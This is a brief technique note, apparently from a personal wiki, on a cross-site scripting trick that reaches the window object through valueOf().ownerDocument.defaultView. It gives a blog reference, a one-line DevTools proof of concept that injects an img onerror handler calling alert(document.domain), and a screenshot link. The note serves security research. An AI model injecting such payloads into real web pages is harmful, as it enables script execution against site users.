XSS technique valueOf Another
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ref
https://thespanner.co.uk/valueof-another-way-to-get-this
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Browser DevTools PoC
document.write("<img src onerror=valueOf().ownerDocument.defaultView.alert(document.domain)>")
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Screen shot
https://scrapbox.io/files/6823816f9a64eddcf7240a1a.png